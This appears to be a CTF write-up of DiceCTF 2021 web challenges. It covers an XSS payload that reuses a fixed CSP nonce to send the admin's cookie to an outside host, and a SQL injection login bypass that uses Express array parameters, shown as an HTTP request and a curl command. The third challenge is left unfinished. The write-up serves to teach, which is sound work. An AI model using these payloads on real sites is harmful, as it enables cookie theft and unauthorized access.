# DiceCTF 2021 Web > [TOC] ## Challenge 1: Babier CSP (XSS, CSP Bypass) > [name=y4y] ### Description Baby CSP was too hard for us, try Babier CSP. `babier-csp.dicec.tf` [Admin Bot](https://us-east1-dicegang.cloudfunctions.net/ctf-2021-admin-bot?challenge=babier-csp) (Now it is down) The admin will set a cookie secret equal to `config.secret` in `index.js` ### Source Code ```javascript=1 const express = require('express'); const crypto = require("crypto"); const config = require("./config.js"); const app = express() const port = process.env.port || 3000; const SECRET = config.secret; const NONCE = crypto.randomBytes(16).toString('base64'); const template = name => ` <html> ${name === '' ? '': `<h1>${name}</h1>`} <a href='#' id=elem>View Fruit</a> <script nonce=${NONCE}> elem.onclick = () => { location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]); } </script> </html> `; app.get('/', (req, res) => { res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`); res.send(template(req.query.name || "")); }) app.use('/' + SECRET, express.static(__dirname + "/secret")); app.listen(port, () => { console.log(`Example app listening at http://localhost:${port}`) }) ``` ### Analysis ![Recon](https://raw.githubusercontent.com/Pwnie-Island/Basement-of-Writeup/main/CTF/DiceCTF/2021/Web/Recon.png) ![Admin Bot](https://raw.githubusercontent.com/Pwnie-Island/Basement-of-Writeup/main/CTF/DiceCTF/2021/Web/Admin_Bot.png) This is a XSS challenge by the first look, and notice the fruit displayed on page is exactly the value of the `name` parameter. This means by manipulating the value of `name`, we can potentially achieve XSS. Now look at the source code. In the HTML code above, we notice ```html=16 <script nonce=${NONCE}> elem.onclick = () => { location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]); } </script> ``` and how the CSP header is set: ```javascript=25 app.get('/', (req, res) => { res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`); res.send(template(req.query.name || "")); }) ``` It means the server only accepts script with the nonce of specific value. But lucky for us, the `NONCE` variable in source code is fixed, so we can use the nonce given in the webpage to do our XSS attack. ### Exploit ```html <script nonce=+ZSveZwTAUqC6Pt9p+rgUg==>window.location.href="http://[REDACTED]]/?c="+document.cookie;</script> ``` Send the url (**don't forget to url encode it!**) and wait for the response. ![XSS](https://raw.githubusercontent.com/Pwnie-Island/Basement-of-Writeup/main/CTF/DiceCTF/2021/Web/XSS.png) Go to the url with the value of `secret` ![Flag](https://raw.githubusercontent.com/Pwnie-Island/Basement-of-Writeup/main/CTF/DiceCTF/2021/Web/Flag.png) #### Flag ``` dice{web_1s_a_stat3_0f_grac3_857720} ``` ## Challenge 2: Missing Flavortext (SQL Injection, Authentication Bypass) > [name=y4y] ### Description Hmm, it looks like there's no flavortext here. Can you try and find it? [missing-flavortext.dicec.tf](https://missing-flavortext.dicec.tf) ### Recon ![Recon](https://i.imgur.com/3E9LPIE.png) ### Source Code ```javascript=1 const crypto = require('crypto'); const db = require('better-sqlite3')('db.sqlite3') // remake the `users` table db.exec(`DROP TABLE IF EXISTS users;`); db.exec(`CREATE TABLE users( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password TEXT );`); // add an admin user with a random password db.exec(`INSERT INTO users (username, password) VALUES ( 'admin', '${crypto.randomBytes(16).toString('hex')}' )`); const express = require('express'); const bodyParser = require('body-parser'); const app = express(); // parse json and serve static files app.use(bodyParser.urlencoded({ extended: true })); app.use(express.static('static')); // login route app.post('/login', (req, res) => { if (!req.body.username || !req.body.password) { return res.redirect('/'); } if ([req.body.username, req.body.password].some(v => v.includes('\''))) { return res.redirect('/'); } // see if user is in database const query = `SELECT id FROM users WHERE username = '${req.body.username}' AND password = '${req.body.password}' `; let id; try { id = db.prepare(query).get()?.id } catch { return res.redirect('/'); } // correct login if (id) return res.sendFile('flag.html', { root: __dirname }); // incorrect login return res.redirect('/'); }); app.listen(3000); ``` ### Analysis The first I've noticed was the ```javascript app.use(bodyParser.urlencoded({ extended: true })); ``` line in the source code. I have come across a similar problem in the 2020 Google CTF and I also happened to write a [blog](https://y4y.space/2020/08/25/post-google-ctf-reflection/) for it. The `extended` option means any user can send array data to application. And the way to do that is just like: `username[]=a&username[]=b`. The way express parses those request parameters will also result in a potential SQL authentication bypass, I have gone through it in details in my blog post. Back to this problem, we see that if we have a `'` in the request body, the application will redirect us to the home page, but with the option of extended url, we can use arrays to bypass that filter. The rest is then simple, the classic SQL bypass. Here is the HTTP request that got me the flag. ```http POST /login HTTP/1.1 Host: missing-flavortext.dicec.tf User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://missing-flavortext.dicec.tf/ Content-Type: application/x-www-form-urlencoded Content-Length: 41 Origin: https://missing-flavortext.dicec.tf Connection: close Upgrade-Insecure-Requests: 1 Sec-GPC: 1 username[]=admin'+or'1'='1&password=1 ``` And the response: ```http HTTP/1.1 200 OK Accept-Ranges: bytes Cache-Control: public, max-age=0 Content-Length: 319 Content-Type: text/html; charset=UTF-8 Date: Mon, 01 Mar 2021 04:16:29 GMT Etag: W/"13f-1776baaddc0" Last-Modified: Thu, 04 Feb 2021 06:11:36 GMT X-Powered-By: Express Connection: close <!doctype html> <html> <head> <link rel="stylesheet" href="/styles.css"> </head> <body> <div> <p>Looks like there was no flavortext here either :(</p> <p>Here's your flag?</p> <p>dice{sq1i_d03sn7_3v3n_3x1s7_4nym0r3}</p> </div> </body> </html> ``` ### Exploit ```shell $ curl -X POST -d "username[]=admin' or '1'='1&password=1" https://missing-flavortext.dicec.tf/login ``` #### Flag ``` dice{sq1i_d03sn7_3v3n_3x1s7_4nym0r3} ``` ## Challenge 3: Web Utils (In Progress) > [name=y4y] ### Description My friend made this dumb tool; can you try and steal his cookies? If you send me a link, [I can pass it along](https://us-east1-dicegang.cloudfunctions.net/ctf-2021-admin-bot?challenge=web-utils). ### Recon Same admin bot from the [[DiceCTF 2021] Babier CSP (Completed)](/l9YY2QTXSIOV3UjoWYhONw) one. ![admin bot](https://i.imgur.com/3KUVxK9.png) While on the main application, it has two services, and it does exactly what you expect them to. ![Pastebin](https://i.imgur.com/p1WENga.png) ### Source Code (or Pseudocode) ### Analysis ### Exploit #### Flag ``` ``` ###### tags: `DiceCTF`